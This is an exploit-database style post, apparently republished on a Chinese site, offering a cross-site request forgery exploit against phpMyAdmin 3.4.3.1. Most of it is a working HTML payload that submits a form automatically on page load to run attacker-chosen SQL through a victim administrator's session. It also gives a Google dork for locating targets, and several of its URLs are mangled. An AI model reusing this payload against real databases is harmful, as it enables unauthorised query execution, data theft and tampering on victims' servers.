# Exploit Title: PhpMyadmin XSRF Vuln (Execute SQL Query) # Author: Caddy-Dz # Facebook Page: HdhCmsTestfacebook测试数据/islam.caddy # E-mail: islam_babia[at]hotmail测试数据 | Caddy-Dz[at]exploit-id测试数据 # Website: HdhCmsTestexploit-id测试数据 # Google Dork: inurl:/phpmyadmin/ # Category:: Webapps # Tested on: [Windows Seven Edition Intégral- French] #### # | >> -------+++=[ Dz Offenders Cr3w ]=+++----- << | # | Indoushka * KedAns-Dz * Caddy-Dz * Kalashinkov3 | # | Jago-dz * Over-X * Kha&miX * Ev!LsCr!pT_Dz * ...| # | ----------------------------------------------- | # + All Dz .. This is Open Group 4 L33T Dz Hax3rZ .. ####
[+] Note :
Only the request executed by the root,users (Server)
[+] Tested on : EasyPhp 5.4alpha2
-Apache 2.2.19 -MySQL 5.5.13 -PhpMyAdmin 3.4.3.1 -Xdebug 2.1.1
[+] Video:
http://HdhCmsTestyoutube测试数据/watch?v=xJH_ujBNTVY
[*] ExpLo!T :
<html> <head> </head> <body onload="javascript:fireForms()"> <script language="JavaScript"> function fireForms() { var count = 1; var i=0; for(i=0; i<count; i++) { document.forms[i].submit(); } } </script> <form method="post" action=" http://HdhCmsTest2cto测试数据 /home/ mysql /import.php" enctype="multipart/form-data" class="ajax" id="sqlqueryform" name="sqlform"> <input type="hidden" name="is_js_confirmed" value="0" /> <input type="hidden" name="token" value="47cd4b47756bd497165c6fc7f87d2182" /> <<== make sure you put the right value <input type="hidden" name="pos" value="0" /> <input type="hidden" name="goto" value="server_sql.php" /> <input type="hidden" name="message_to_show" value="Votre requête SQL a été exécutée avec succès" /> <input type="hidden" name="prev_sql_query" value="" /> <textarea type="hidden" tabindex="100" name="sql_query" id="sqlquery" cols="40" rows="30" dir="ltr">Your SQL Query;</textarea> <input type="hidden" name="bkm_label" value="" /> <input type="hidden" name="bkm_all_users" value="true" /> <input type="hidden" name="bkm_replace" value="true" /> <input type="hidden" name="sql_delimiter" value=";" /> ] <input type="hidden" name="show_query" value="1" checked="checked" /> </form>
####
[+] Peace From Algeria
查看更多关于PhpMyadmin XSRF 缺陷 (执行sql查询)及修复 - 网站安全的详细内容...